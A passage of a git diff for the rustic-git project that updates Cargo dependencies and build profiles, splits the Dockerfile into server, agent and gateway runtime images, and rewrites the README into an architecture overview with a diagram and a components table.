serde's struct deserialization refuses. +form_urlencoded = "1" imara-diff = "0.1" +tracing = "0.1" +# The `metrics` facade is a no-op until a recorder is installed (`rustic_git_core::metrics::init`), +# same failure shape as a missing tracing subscriber: silence, not a crash. +metrics = "0.24" +# env-filter for RUST_LOG, fmt for the stderr writer, json for RUSTIC_GIT_LOG_FORMAT=json so a +# log pipeline can index fields instead of grepping text. +tracing-subscriber = { version = "0.3", default-features = false, features = ["env-filter", "fmt", "std", "ansi", "json"] } serde = { version = "1", features = ["derive"] } +serde_json = "1" redis = { version = "0.27", features = ["tokio-comp", "connection-manager", "tls-rustls-webpki-roots", "tokio-rustls-comp"] } mongodb = { version = "3", default-features = false, features = ["rustls-tls", "compat-3-0-0"] } # rust_crypto, not the default: jsonwebtoken otherwise resolves its backend from @@ -55,23 +88,105 @@ mongodb = { version = "3", default-features = false, features = ["rustls-tls", " # installed one — and panics anywhere that has not, tests included. Choosing the # backend at compile time makes the library self-contained. jsonwebtoken = { version = "11", default-features = false, features = ["rust_crypto"] } -# Already in the tree via axum's Json; declared because the api tier parses a -# reply from the git nodes, which is a real document rather than two flags. -serde_json = "1" +# Already in the tree transitively (object_store's `last_modified`, and SlateDB); declared +# directly because the blob sweep compares it against a grace-window cutoff. +chrono = "0.4" # OpenPGP, for verifying GPG-signed commits. default-features off: the defaults # pull bzip2 (a C library) for compressed packets, which a signature never needs. pgp = { version = "0.20", default-features = false } -# Already in the tree under gix-object; declared because a commit we CREATE needs -# to name its author, and gix-object does not re-export the type. -gix-actor = "0.41" -gix-merge = "0.19.0" +# Only the gzip compressor: mounted on the two JSON routers (browse, /v1) and +# nowhere near packs or registry blobs, which are already compressed. +tower-http = { version = "0.6", default-features = false, features = ["compression-gzip"] } +# dev-only +slatedb-common = { version = "0.15", features = ["test-util"] } +async-trait = "0.1" +tower = { version = "0.5", features = ["util"] } +tempfile = "3" +# Cosmos DB SQL API client for the workspaces/environments metastore (Task 2). +azure_data_cosmos = "0.30" +# Already in the lock via slatedb (its aws/azure features); declared directly for the +# workspaces snapshot engine's layer store (Task 3), pinned to slatedb's version. +object_store = { version = "0.14", features = ["aws", "azure"] } +zstd = { version = "0.13", features = ["zstdmt"] } +libc = "0.2" +# The gateway serves TLS itself (a Cloudflare Origin CA certificate on hostPort 443) — axum's own +# `serve` is plaintext only. `tls-rustls-no-provider`, not `tls-rustls`: the latter turns on +# rustls/aws-lc-rs, which is the second TLS stack the `rustls` pin above exists to keep out. +axum-server = { version = "0.8", default-features = false, features = ["tls-rustls-no-provider"] } +# dev-only: the gateway's tests are its own WebSocket client. Pinned here so it cannot drift from +# the copy axum's `ws` feature pulls in. +tokio-tungstenite = "0.29" +# The `kl` CLI's argument parser. +clap = { version = "4", features = ["derive"] } + +[package] +name = "rustic-git-tests" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" +description = "Integration-test host for the rustic-git workspace" +repository = "https://github.com/kloudlite/rustic-git" [dev-dependencies] -serde_json = "1" +rustic-git-core = { path = "crates/core" } +rustic-git-storage = { path = "crates/storage" } +rustic-git-gitbase = { path = "crates/gitbase" } +rustic-git-pulls = { path = "crates/pulls", features = ["check"] } +rustic-git-app = { path = "crates/app" } +rustic-git-git = { path = "crates/git" } +rustic-git-registry = { path = "crates/registry" } +rustic-git-workspaces = { path = "crates/workspaces" } +rustic-git-api = { path = "crates/api" } +# The integration tests in `tests/` drive the composed server; the router/lanes they exercise +# live in the server binary crate (Task 10 moved them out of the old facade's `http`/lane fns). +rustic-git-server = { path = "bins/server" } +tokio = { workspace = true } +axum = { workspace = true } +russh = { workspace = true } +futures = { workspace = true } +reqwest = { workspace = true } +serde_json = { workspace = true } +slatedb = { workspace = true } +gix-hash = { workspace = true } +gix-odb = { workspace = true } +gix-object = { workspace = true } +gix-traverse = { workspace = true } +base64 = { workspace = true } +chrono = { workspace = true } +# Already in the lock via slatedb; the feature is what exposes MockSystemClock, so a test can jump +# the clock past the compactor's 15-minute checkpoint lifetime instead of waiting for it. +slatedb-common = { workspace = true } # Cosmos DB (Mongo API). rustls, not openssl: the binary already installs a ring # provider at startup and must not pull a second TLS stack. -mongodb = { version = "3", default-features = false, features = ["rustls-tls", "compat-3-0-0"] } -async-trait = "0.1" +mongodb = { workspace = true } +async-trait = { workspace = true } # In the tree already via axum; declared so tests can drive a Router with oneshot. -tower = { version = "0.5", features = ["util"] } -tempfile = "3" +tower = { workspace = true } +tempfile = { workspace = true } + +# Measured on nothing yet: thin LTO and one codegen unit are the conventional cheap wins for a +# binary that is built once per commit and runs for days; `strip` keeps the image small. Switch +# to `lto = "fat"` only with a benchmark in hand — it roughly doubles the link time for a few +# percent. +[profile.release] +# A panic now exits the pod (no unwinding), dropping its warm repos — deliberate trade for a +# smaller/faster binary; a poison that would otherwise wedge a thread becomes a pod restart. +panic = "abort" +lto = "thin" +codegen-units = 1 +strip = true + +# Release, minus the two settings that cost the most compile time for the least runtime gain. +# +# For DEV images only — the ones pushed by `deploy/k3s/dev-push.sh` while iterating on the cluster. +# `lto = "thin"` and `codegen-units = 1` are correct for production and slow by design: they exist +# to let the optimizer see across the whole crate graph, which is exactly the work being skipped +# here. Everything that changes BEHAVIOUR (`panic = "abort"`, so a panic exits the pod rather than +# unwinding) is inherited unchanged, so a dev image fails the same way a real one does. +# +# `strip` stays off so a panic in a dev image carries a usable backtrace. +[profile.dev-image] +inherits = "release" +lto = false +codegen-units = 16 +strip = false diff --git a/Dockerfile b/Dockerfile index 4472fb11..6874b8f7 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,23 +1,92 @@ -# Built by `az acr build`, so the base images are pulled in Azure rather than here. -FROM rust:1-bookworm AS build -WORKDIR /src -COPY Cargo.toml Cargo.lock ./ -COPY src ./src -RUN cargo build --release --locked +# Runtime-only. The binaries are compiled OUTSIDE docker and copied in from `target/${PROFILE}/`: +# +# cargo build --release --locked && docker build --target server . # or agent, gateway +# +# They used to be compiled inside (cargo-chef, `type=gha` cache in `mode=max`). That design cached +# the dependency cook but never the workspace crates — those lived in the layer that also held the +# source, so every commit rebuilt them from scratch: 342 s of `cargo build --release` on EVERY run +# plus 114 s exporting the layer cache, before a single image was pushed. CI now compiles once on +# the runner under Swatinem/rust-cache (incremental across commits) and this file is only the +# apt-get and the COPY. See .github/workflows/image.yml. +# +# The compile MUST link against a glibc no newer than bookworm's 2.36, because these stages are +# bookworm-slim; CI builds inside `rust:1-bookworm` and checks the binary's GLIBC_ requirement. +# Building on a newer host (ubuntu 24.04, glibc 2.39) yields an image that dies at exec. +# +# `PROFILE` names the target dir the binaries come from: `release` (default) or `dev-image` for the +# deploy/k3s/dev-push.sh loop. Only the five rustic-git binaries make it into the context — see +# .dockerignore — so a fat `target/` costs nothing to send. -FROM debian:bookworm-slim -# openssh-client: the server shells out to ssh-keygen to generate its host key on first start -RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates openssh-client \ +FROM debian:bookworm-slim@sha256:abd67ffcfa541b485a3dff59865ab629aa048a6c613e639d36e7456b0b229241 AS server +# openssh-client: the server shells out to ssh-keygen to generate its host key on first start. +# git: the merge worker performs merges by running it (see crates/pulls/src/merge_worker.rs) — +# bookworm ships 2.39, past the 2.38 that `merge-tree --write-tree` needs. One image serves all +# three processes, so git also lands on the srv and api pods, where nothing runs it; a few MB of +# unused binary is cheaper than a second image to keep in step with this one. +RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates openssh-client git \ && rm -rf /var/lib/apt/lists/* # All three binaries. One image, three processes: the git server, the api server # and the merge worker are built from the same source and deployed separately, so # a shared image keeps them on the same commit without coupling their lifecycles. # Each Deployment picks its process with `command`, so a binary missing here is a # CrashLoopBackOff there, not a build error. -COPY --from=build /src/target/release/rustic-git /usr/local/bin/rustic-git -COPY --from=build /src/target/release/rustic-git-api /usr/local/bin/rustic-git-api -COPY --from=build /src/target/release/rustic-git-worker /usr/local/bin/rustic-git-worker +ARG PROFILE=release +COPY target/${PROFILE}/rustic-git /usr/local/bin/rustic-git +COPY target/${PROFILE}/rustic-git-api /usr/local/bin/rustic-git-api +COPY target/${PROFILE}/rustic-git-worker /usr/local/bin/rustic-git-worker +# Not root. Nothing here needs a capability: the listeners bind 8080/2222/8081/8082, the host +# key lives in a mounted Secret in the cluster, and the pack cache is a directory. The two +# directories the binaries write are created and owned here so a plain `docker run` (no +# mounts) works; in the cluster both are mounts and `fsGroup` on the pod makes them writable. +# uid 1001 matches web/Dockerfile so one securityContext convention serves both images. +RUN useradd --system --uid 1001 --user-group --no-create-home --shell /usr/sbin/nologin rustic \ + && mkdir -p /var/cache/rustic-git /var/lib/rustic-git \ + && chown rustic:rustic /var/cache/rustic-git /var/lib/rustic-git ENV RUSTIC_GIT_CACHE_DIR=/var/cache/rustic-git RUSTIC_GIT_HOST_KEY=/var/lib/rustic-git/host_key +USER rustic EXPOSE 8080 2222 ENTRYPOINT ["rustic-git"] CMD ["serve"] + +# The node controller. A separate IMAGE, not a fourth binary in the server one: this runs as root +# with btrfs-progs and the host pool mounted, and shipping root's toolchain to the three processes +# that must never have it is exactly what the split prevents. +FROM debian:bookworm-slim@sha256:abd67ffcfa541b485a3dff59865ab629aa048a6c613e639d36e7456b0b229241 AS agent +# btrfs-progs: every storage operation shells out to it. +# util-linux: losetup/mount for the block-layer restore path. +# ca-certificates: the registry client and Azure blob store speak TLS. +# git: a workspace can be seeded from a platform repository, which the controller clones into the +# fresh subvolume (`VolumeSource::GitRepo`). +# openssh-client: ssh-keygen makes each workspace's SSH host key. +RUN apt-get update && apt-get install -y --no-install-recommends \ + btrfs-progs util-linux ca-certificates git openssh-client \ + && rm -rf /var/lib/apt/lists/* +ARG PROFILE=release +COPY target/${PROFILE}/rustic-git-agent /usr/local/bin/rustic-git-agent +# Root, deliberately and unlike the server image: btrfs subvolume operations on the host pool are +# not something a capability set can be narrowed to. +ENTRYPOINT ["rustic-git-agent"] + +# The SSH gateway. Its own image rather than a fourth binary in the server one: this pod runs with +# NET_BIND_SERVICE to hold hostPort 443 on a pool node, and that capability has no business on the +# git server's pods. +FROM debian:bookworm-slim@sha256:abd67ffcfa541b485a3dff59865ab629aa048a6c613e639d36e7456b0b229241 AS gateway +# ca-certificates only: the gateway talks to the kube API server over TLS and to nothing else. +# libcap2-bin is build-time only, for the setcap below. +RUN apt-get update && apt-get install -y --no-install-recommends ca-certificates libcap2-bin \ + && rm -rf /var/lib/apt/lists/* +ARG PROFILE=release +COPY target/${PROFILE}/rustic-git-gateway /usr/local/bin/rustic-git-gateway +# The FILE capability is what actually lets uid 1001 bind 443, and it is not optional. +# `capabilities.add: [NET_BIND_SERVICE]` in the pod spec sets the container's BOUNDING and +# permitted sets — but execve empties the permitted set of a non-root process unless the binary +# itself carries the capability, and Kubernetes has no way to request ambient capabilities. So the +# pod grant alone yields EACCES on 443; the pod grant plus this file capability is what works, and +# neither half is sufficient on its own (the bounding set must still permit it). +RUN setcap cap_net_bind_service=+ep /usr/local/bin/rustic-git-gateway \ + && apt-get purge -y libcap2-bin && apt-get autoremove -y +# uid 1001 as in the server image: the binary writes no files and needs no other privilege. +RUN useradd --system --uid 1001 --user-group --no-create-home --shell /usr/sbin/nologin rustic +USER rustic +EXPOSE 443 8080 +ENTRYPOINT ["rustic-git-gateway"] diff --git a/README.md b/README.md index d8099c77..1a68515b 100644 --- a/README.md +++ b/README.md @@ -1,367 +1,250 @@ -# rustic-git - -A git server that stores pack files in S3 (via `object_store`) and refs/tokens/keys -in SlateDB, speaking both the git HTTP smart protocol and SSH. - -## Forks - -A fork gets its own copy of the source's objects, made with the object store's server-side copy -so the bytes never pass through the server. Repos never share storage. - -That costs duplicated bytes, which is the right trade here: forks are rare, object storage is -cheap, and sharing a pile means garbage collection has to see every repo using it — which -constrains where repos may live, requires cross-node coordination to collect, and makes -cross-repo object exposure possible at all. Owning objects outright makes collection a local, -per-repo operation and removes that exposure structurally. - -## Running more than one node - -One SlateDB database per repo, at `repo/{owner}/{name}`, and the repo is the unit of ownership. A -plain round-robin LoadBalancer sits in front and nothing there needs to understand git. Who owns -which repo is not derived — it is written down. `rustic-git-0` keeps a map of `repo → (node, -expires)` in its own SlateDB database at `cluster/ownership`, and is its only writer; every other -node opens it read-only and follows. - -**Leadership is a name, not a decision.** Every node derives the leader from its own identity: -strip the ordinal off `RUSTIC_GIT_SELF`, append `-0`. A StatefulSet guarantees at most one pod per -ordinal, so two leaders cannot exist and there is no election to get wrong. There is deliberately -**no failover to ordinal one**: a leader that is unreachable blocks new claims; it is not replaced. - -Routing a request is one local map read. If the map names this node, it serves; if it names another, -it forwards over the peer ports (8081 HTTP, 8082 stream); if nobody owns the repo, it asks the -leader for it — one round trip, and only when a repo is cold. A claim that cannot be granted (the -leader is unreachable) returns 503 rather than serving anyway, because serving on a failed claim is -exactly the two-writer bug this removes. A follower's copy of the map may be stale (it polls the -manifest every 200ms); that costs one extra hop and can never produce a second owner, because only -the leader grants. - -**A node holds a repo's lease exactly as long as it holds that repo's database open.** A claim -precedes the open, a renewal every 3s (batched, one message per node) continues while the handle is -held, and eviction begins with a release. Releasing does not delete the entry — it shortens it to a -500ms drain, during which this node is still the owner and still serving; only then is the database -closed. Deleting instead, or closing before the drain, lets another node open a database this one is -still holding and fence it, which is a failure this system has already produced on a real cluster. -The other direction holds too: a node whose renewal is declined has lost the lease and closes that -database at once rather than waiting to be fenced. - -The peer ports carry a shared secret (`RUSTIC_GIT_PEER_SECRET`, from Secret `rustic-git-peer`) -because this cluster runs with `networkPolicy: none`: anything on the pod network can otherwise reach -them. Scaling is `spec.replicas` alone — there is no peer list to keep in step. - -Read-only replica nodes were removed. A follower can only serve refs as stale as its last manifest -poll (~1s), which breaks read-your-own-writes — push, then fetch from another node and the commit is -missing. Since repos are already the unit of ownership, sending a repo's whole traffic to one node -costs nothing and removes the staleness window entirely. Fanout across repos, not within one. - -**Limits worth knowing:** - -- **While `rustic-git-0` is restarting, no repo can be claimed.** ~20s, measured on this cluster. - Repos already open keep serving throughout — their holders have the databases and renewals are - advisory — and the map survives the restart, so nothing is rebuilt. Cold repos get a 503. -- **A node partitioned from the leader** keeps serving what it holds and cannot claim anything new. - It does not become leader. -- **A dead node's repos move within about a second**, not in the 10s lease TTL. A node that fails to - connect to the owner waits 350ms, re-reads the map, and — if it still names the same unreachable - node — asks the leader to force the repo over. Only GET requests, only connect failures, and only - after that second failure: one dropped connect never moves a repo. The leader refuses to - force-grant an entry written in the last second, so two nodes recovering from the same dead owner - cannot ping-pong the repo; the loser is told the winner and forwards there. If the old owner was - in fact alive and merely unreachable, the grant fences it and an in-flight push there fails and is - retried — the intended trade against ten seconds of 502s. A repo whose lease simply lapses is - still claimed by whoever is next asked for it. -- **A stale grant is not a correctness problem.** SlateDB's writer epoch fences the second opener, - whose pool reports it and re-routes. The map buys accuracy; fencing is what buys safety. Precisely: - a node that loses a repo is stopped at its next durable write — the transaction commit is where - the higher epoch is seen — so no ref update it acknowledged is lost and no two commits interleave. - Until its next pool access notices, it may still serve *reads* from its snapshot; that is a - moment of staleness on the way out, not a second writer. -- **On SIGTERM the two HTTP listeners drain; SSH sessions do not.** An SSH session in flight on a - terminating pod is cut when the drain ends; the preStop delay is what makes that rare (see the - manifest comment for the timing arithmetic). The pool releases every lease and drains before it - closes, so peers take the repos over without fencing anything. -- **Liveness is `/healthz`, which reflects the object store.** During an object-store outage longer - than ~90s every pod is restarted, which achieves nothing but is harmless — the pods come back into - the same outage. -- **Single node** (`RUSTIC_GIT_PEER_SVC` unset) runs with no ownership map at all: one node owns - everything by construction, so there is nothing to claim, renew or prune. - -### Deploying - -The peer ports need a shared secret because this cluster enforces no NetworkPolicy -(`az aks show -n kolomi-cluster -g kolomi-rg --query networkProfile.networkPolicy -o tsv` → `none`): +# rustic-git — architecture -``` -kubectl -n rustic-git create secret generic rustic-git-peer \ - --from-literal=secret="$(openssl rand -hex 32)" -``` - -The read API needs a Redis URL in a secret. Without it the api pods still run — every request -just goes to a git node instead of the cache: - -``` -kubectl -n rustic-git create secret generic rustic-git-redis \ - --from-literal=url="rediss://:@:10000" -``` - -Both tiers need that secret, not just the api pods. Invalidation runs on the **git nodes** — a push -drops the repo's `refs` entry, a visibility flip or a delete bumps its generation — so a fleet -without the Redis URL caches answers that nothing can ever purge, and `set-visibility private` -reports success while orphaning nothing. A disabled cache returning success is correct for reads -and silent in exactly this case, which is why the URL belongs on both workloads. - -**Redis must run `maxmemory-policy volatile-lru`, and this is correctness, not tuning.** Cached -answers carry a TTL; the per-repo generation counters that decide which answers are still reachable -carry none. Under `volatile-lru` only keys with an expiry are eviction candidates, so pressure -evicts answers and never the counters. Under `allkeys-lru` an evicted counter reads back as -generation 1 — the value from before the last purge — and every stale answer it was meant to orphan -becomes visible again, including for a repo that was just made private. - -Then `kubectl apply -f deploy/rustic-git.yaml`. - -The manifest pins both workloads to an image digest tag rather than `:latest`, so applying it is an -explicit decision about which build runs rather than whatever was pushed last. - -The api tier ships as a `ClusterIP` Service. It is meant to sit behind Cloudflare, which supplies -the rate limiting and DDoS protection this codebase deliberately does not implement; exposing it as -a `LoadBalancer` before that is in place puts an unmetered read API on the internet. When you do -switch it, set `loadBalancerSourceRanges` to Cloudflare's ranges in the same change — the manifest -ships a deliberately invalid placeholder so a premature apply is rejected by the API server rather -than silently accepted. Do not "fix" that rejection by deleting the field: absent means open to -everyone, with no warning. - -Two limits worth knowing before you rely on the edge: SSH on 2222 cannot traverse Cloudflare's HTTP -proxy, so git-over-SSH is neither rate limited nor shielded by it; and the origin must be locked to -Cloudflare's ranges or the whole edge is one `curl` away from irrelevant. - -Packs are unaffected: they are content-addressed and immutable, so every node reads them straight -from `objects/{owner}/{name}/`. Credentials live as plain object keys (`auth/...`), readable by -every node. - -Opening a database is not free — measured at ~1.7s against a bucket in another region, ~0.8ms of -which is SlateDB itself; the rest is sequential object-store round trips. Put the nodes in the -bucket's region. `RUSTIC_GIT_WARM_TTL_SECS` (default 300) and `RUSTIC_GIT_MAX_WARM` (default 64) -keep recently used repos open so only the first request per repo pays it. - -Most `admin` commands open the repos they touch, so stop the node serving those repos first (a -concurrent admin process fences the server). `set-visibility` is the exception: with either -`RUSTIC_GIT_UPSTREAM` or `RUSTIC_GIT_PEER_SECRET` set it posts to the peer Service instead, and the -routing middleware delivers the write to the node that owns the repo — nothing to stop, and no -second writer. With NEITHER set it writes directly and says so on stderr: this process cannot see -whether a node is serving the repo, so the direct write is an assumption it is announcing, not a -guarantee it can make. Export both on any box that administers a live fleet. - -`GET /healthz` returns 200 and the warm-database count. Tokens are stored hashed; re-issue any token -minted before this (`admin add-token`). - -## Usage - -``` -rustic-git serve -rustic-git admin create-repo / -rustic-git admin fork / / # copies objects and refs -rustic-git admin delete-repo / -rustic-git admin repack / # consolidate the fork network into one pack -rustic-git admin add-token # prints a new access token -rustic-git admin add-key -rustic-git admin set-visibility / public|private # routed to the repo's owner when RUSTIC_GIT_PEER_SECRET is set -rustic-git admin purge-cache / -rustic-git-api # read + team API; needs RUSTIC_GIT_UPSTREAM -``` +A git host, an OCI container registry and a btrfs-backed workspace/environment control plane, +sharing one object store and one identity. Repositories and images live as per-repo SlateDB +databases on an object store (Azure Blob in production, S3 or local disk otherwise), served by a +Rust fleet where exactly one node may hold a given database open; pull-request merges run out of +band in a worker that speaks the git protocol back at the fleet; a Next.js app is the only +browser-facing process; and workspaces/environments are Kubernetes custom resources on a separate +k3s cluster, reconciled by a privileged per-node agent that pushes snapshot bytes back into the +same registry surface the images use. -## Environment variables - -- `RUSTIC_GIT_S3_URL` — **required** for all commands: object store URL, e.g. `s3://bucket` - (reads `AWS_*` env vars). `mem://` is an in-memory store for testing only — nothing is - persisted and everything is lost on exit. -- `AWS_PROFILE` — if `AWS_ACCESS_KEY_ID` is unset, static keys and `region`/`endpoint_url` are read - from `~/.aws/credentials` and `~/.aws/config` for this profile (default `default`). - SSO / assume-role profiles are not supported. -- `AWS_ENDPOINT`, `AWS_REGION` — for S3-compatible stores. Example for DigitalOcean Spaces: - `AWS_PROFILE=do AWS_ENDPOINT=https://sgp1.digitaloceanspaces.com AWS_REGION=sgp1 RUSTIC_GIT_S3_URL=s3://rustic-git` - -The rest apply to `serve`: - -- `RUSTIC_GIT_S3_TIMEOUT_SECS` — per-request S3 timeout (default 900). Repack uploads a whole - network in one PUT, so a distant bucket needs more than object_store's 180s default. -- `RUSTIC_GIT_FLUSH_INTERVAL_MS` — how often the ref store flushes its write-ahead log - (default 100). A ref update waits for the next flush, so this sets push latency when pushes - arrive one at a time; lowering it costs more object-store writes. See "Write throughput". -- `RUSTIC_GIT_MAX_BODY` — max request body in bytes (default 2 GiB). Enforced before authentication. -- `RUSTIC_GIT_CACHE_DIR` — local pack/object cache directory (default `./cache`). -- `RUSTIC_GIT_WARM_TTL_SECS` — how long an unused repo database stays open (default 300). -- `RUSTIC_GIT_MAX_WARM` — ceiling on simultaneously open repo databases (default 64). -- `RUSTIC_GIT_HTTP_ADDR` — HTTP listen address (default `0.0.0.0:8080`). -- `RUSTIC_GIT_SSH_ADDR` — SSH listen address (default `0.0.0.0:2222`). -- `RUSTIC_GIT_HOST_KEY` — path to an OpenSSH host key; generated if missing (default `./host_key`). -- `RUSTIC_GIT_PEER_SVC` — headless Service FQDN the peer hostnames hang off (e.g. - `rustic-git.rustic-git.svc.cluster.local`). Unset means single-node: no ownership routing. -- `RUSTIC_GIT_SELF` — this pod's stable name (`rustic-git-2`). Its ordinal replaced by 0 is the - leader's name, and the map records ownership under it. Required when `RUSTIC_GIT_PEER_SVC` is set. -- `RUSTIC_GIT_PEER_SECRET` — shared secret for the peer ports. Required when `RUSTIC_GIT_PEER_SVC` - is set. -- `RUSTIC_GIT_PEER_ADDR` — peer HTTP listen address (default `0.0.0.0:8081`). The peer stream port - is derived as peer port + 1 (8082 by default), not separately configurable. - -The rest apply to `rustic-git-api`: - -- `RUSTIC_GIT_UPSTREAM` — base URL of the git fleet's **peer** Service (default - `http://rustic-git:8081`), not the public one: browse routes are only mounted on the peer - listener. -- `RUSTIC_GIT_PEER_SECRET` — **required**: the same shared secret the git nodes run with. The api - process talks to them over the peer listener and refuses to start without it. -- `RUSTIC_GIT_API_ADDR` — HTTP listen address (default `0.0.0.0:8090`). -- `RUSTIC_GIT_REDIS_URL` — optional. Without it, the api process still answers every request, - just always by asking a git node instead of serving from cache. -- `RUSTIC_GIT_MONGO_URI` — optional; a Cosmos DB (Mongo API) connection string. Holds users and - teams. Without it the browse routes answer normally and only `/v1/*` reports 503: a directory - outage must not stop reads that never needed it. -- `RUSTIC_GIT_MONGO_DB` — database name (default `kloudlite`). -- `RUSTIC_GIT_JWT_SECRET` — optional, at least 32 bytes. Signs the identity tokens the web app - presents on later calls. Minted only here, so the key lives in exactly one process; without it - sign-in still records the user but cannot issue a token. - -## Cloning +## Diagram +```mermaid +flowchart TB + subgraph clients[Clients] + U[Browser] + G[git CLI - HTTPS and SSH] + D[docker / OCI client] + end + + CF[Cloudflare
proxy + WAF + TLS for the app host] + U --> CF + G -- HTTPS --> CF + G -- "SSH :22 (git.khost.dev, DNS-only)" --> LB[Service rustic-git-lb
LoadBalancer] + D -- "cr.khost.dev" --> INGR + + subgraph aks[Azure AKS - namespace rustic-git] + CF --> INGW[Ingress rustic-git-web] + INGR[Ingress rustic-git-registry] + INGW --> WEB[rustic-git-web
Next.js, 2 replicas] + WEB --> API[rustic-git-api
Deployment, 2 replicas, :8090] + API -- "peer :8081 + peer secret" --> SRV + INGR --> SRV + LB --> SRV + LEAD[rustic-git-leader-0
StatefulSet, ownership map writer] + SRV[rustic-git-srv-0..2
StatefulSet, holds repo/image/vol DBs] + SRV <--> LEAD + WRK[rustic-git-worker
merge + blob GC] + WRK -- "fetch/push over peer listener" --> SRV + end + + subgraph k3s[k3s workload cluster] + APIS[(kube-apiserver
CRDs: Workspace, Environment,
Volume, OwnerBinding, SnapshotRequest)] + AG[rustic-git-agent
DaemonSet, privileged,
nodes labelled rustic-git.io/pool] + POOL[(btrfs pool /wspool-prod
subvolumes, snapshots)] + PODS[Workspace pods / Environment
Deployments in ws-owner, env-id] + APIS --> AG + AG --> POOL + AG --> PODS + end + + API -- "writes spec via KUBECONFIG" --> APIS + AG -- "vol-agent commits/ref/history" --> SRV + + OS[(Object store
Azure Blob / S3 / file://
SlateDB per repo, image, volume;
packs, registry blobs+manifests,
index markers, auth records)] + COS[(Cosmos DB
Mongo API: users, teams,
members, invites
Core API: Region metadata)] + RED[(Redis
events stream + read cache)] + AZB[(Azure Blob per region
snapshot streams,
blobs/owner/algo/hex)] + + SRV --> OS + API --> OS + WRK --> OS + SRV --> RED + API --> RED + WRK --> RED + API --> COS + SRV --> COS + AG --> AZB + + RES[Resend
invite + sign-in mail] + OAUTH[GitHub / Google /
Microsoft Entra ID OAuth] + WEB --> RES + WEB --> OAUTH + + GH[GitHub Actions] --> GHCR[(ghcr.io/kloudlite
rustic-git, rustic-git-web,
rustic-git-agent)] + GHCR -.image pulls.-> aks + GHCR -.image pulls.-> k3s ``` -git clone http://x:@host:8080/owner/name.git -git clone ssh://git@host:2222/owner/name.git -``` - -HTTP basic auth accepts any username (e.g. `x`); only the password (the token) is checked. - -The server speaks git protocol v2 only, no v0/v1 fallback. git 2.26+ defaults to v2; older -clients need `git -c protocol.version=2 `. - -## Browsing -`rustic-git-api` is a separate binary and a separate process: a stateless read and team API in front of the git fleet -(`/api/{owner}/{name}/...`), backed by an optional Redis cache. Branch names appear in exactly -one endpoint, `/refs`, which resolves a name like `main` to the commit id it currently points at. -Every other endpoint — tree, blob, log, commit — takes that id, never a branch name. - -That is what makes the cache work: an id is a fingerprint of content and can never mean something -else, so a cached answer keyed on it is never stale and any api pod can serve it without asking the -node that owns the repo. Only `/refs` is a moving target and is cached for 5 seconds instead of -being kept indefinitely. - -### The whole flow - -```mermaid -sequenceDiagram - autonumber - participant C as client - participant CF as Cloudflare
(rate limit, DDoS) - participant A as api pod
(rustic-git-api) - participant R as Redis - participant S as object store
(tokens, packs) - participant P as peer Service :8081 - participant O as owner node
(holds the repo DB) - - C->>CF: GET /api/alice/web/tree/{oid}/src - CF->>A: forwarded (bypassing its own cache) - - Note over A: one parsed path drives
authz, cache key and upstream URL - A->>S: token -> owner (plain object read) - S-->>A: alice - A->>R: GET meta (is the repo public?) - R-->>A: 1 / miss - - alt cached and caller authorized - A->>R: GET v1:{gen}:alice/web:tree:{oid}:src - R-->>A: body - A-->>C: 200 (no git node involved) - else miss - A->>R: GET gen (captured before the call) - A->>P: same request + peer secret + owner header - Note over P,O: route middleware forwards
to whoever owns the repo - P->>O: /api/alice/web/tree/{oid}/src - O->>O: open_repo -> gix odb over local packs - O-->>A: JSON - A->>R: SET at the captured generation
(a purge mid-flight lands it out of reach) - A-->>C: 200 - end - - Note over C,O: writes invalidate only what can go stale - C->>O: git push (receive-pack) - O->>R: DEL refs (best effort, 5s TTL heals a miss) - C->>O: admin set-visibility private - O->>R: INCR gen (must succeed, or the command fails) +## Components + +| Component | Binary / package | Runs where | Owns | Talks to | Source of truth it holds | +| --- | --- | --- | --- | --- | --- | +| Server tier | `rustic-git` (`bins/server`, args `serve`) | AKS, StatefulSets `rustic-git-leader` (1) and `rustic-git-srv` (3); ports 8080 http, 2222 ssh, 8081 peer, 8082 peer-stream | Git repos, OCI images, volume commit records; SlateDB writer leases | Object store, Redis, Cosmos (Mongo URI; workspaces Cosmos optional), peers | Refs, packs, tags, upload sessions, merge state, volume history — per-DB, one node at a time | +| Leader | same image, `RUSTIC_GIT_LEADER=rustic-git-leader-0` | its own StatefulSet, 1 replica | The ownership map (sole writer); holds no repositories | Object store, peers | Which node owns which routing key | +| Read/team API | `rustic-git-api` (`bins/api`, `crates/api`, `crates/workspaces::api`) | AKS Deployment, 2 replicas, :8090, ClusterIP | `/v1` workspace/environment/region routes; browse reads | Server tier peer listener, Cosmos, Redis cache, k3s API server (mounted KUBECONFIG) | None for repos — writes CR **spec** and Cosmos `Region` | +| Merge worker | `rustic-git-worker` (`bins/worker`, `crates/pulls::merge_worker`) | AKS Deployment, 1 replica | Merges (real `git` binary, bare cache), registry blob GC sweep | Redis `events` group `merge-worker`, server tier over peer HTTP, object store | Nothing — it claims work from the owning node and reports outcomes | +| Node agent | `rustic-git-agent` (`bins/agent`, `crates/workspaces`) | k3s DaemonSet, privileged, `nodeSelector rustic-git.io/pool=true` | Local btrfs pool, workspace pods, Deployments, snapshot push | k3s API (watch/status), server tier `/vol-agent/...`, Azure Blob (or S3/MinIO) | CR **status** only; snapshot bytes it uploads | +| Web app | `rustic-git-web` (`web/apps/web`, Next.js app router) | AKS Deployment, 2 replicas, :3000, `/api/health` probe | Browser UI, Auth.js session | `rustic-git-api` only (server-side), Resend, OAuth providers | None — no DB connection, no signing key | +| CRDs (5) | `crates/workspaces/src/crd.rs`, generated `deploy/k3s/crds.yaml` | k3s, group `rustic-git.io/v1alpha1`, all cluster-scoped, all with `/status` | `Workspace`, `Environment` (API-written), `Volume`, `OwnerBinding` (controller-written children), `SnapshotRequest` (the push work item only) | — | The truth for workspaces, environments and volumes; **not** for snapshots, whose index and records both live on the server tier | +| SlateDB per repo / image / volume | `crates/storage`, `crates/gitbase` | inside the server tier process, backed by the object store | `repo/{owner}/{name}`, `repo/img/{owner}/{name}`, `repo/vol/{owner}/{id}` | object store | Everything per-repo/image/volume; exactly one opener | +| Object store | Azure Blob `az://rustic-git` (prod), `s3://`, `file://`, `mem://` | external | packs, SlateDB files, `blobs/{owner}/{algo}/{hex}`, `manifests/{owner}/{name}/{algo}/{hex}`, `index/{public,private}/...` markers, `auth/...` records | — | Bytes; credentials live here as plain keys so any node can authenticate | +| Cosmos DB | Mongo API 